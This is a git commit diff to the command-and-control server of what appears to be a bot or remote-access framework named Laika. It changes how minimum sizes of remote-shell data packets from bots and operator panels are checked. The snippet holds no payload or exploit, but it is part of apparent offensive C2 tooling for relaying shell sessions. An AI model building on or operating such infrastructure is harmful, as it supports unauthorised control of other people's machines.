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Lib: Variadic packets now use the 'size' field as a minimum requirement

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This commit is contained in:
CPunch
2022-06-30 10:00:11 -05:00
parent bc071c10d2
commit 18a6fdd124
6 changed files with 11 additions and 7 deletions
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4
cnc/src/cnc.c
View File

@@ -128,7 +128,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true),
};
@@ -144,7 +144,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true),
};

2
cnc/src/cpanel.c
View File

@@ -103,7 +103,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
struct sLaika_shellInfo *shell;
uint32_t id;
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));

2
cnc/src/cpeer.c
View File

@@ -193,7 +193,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));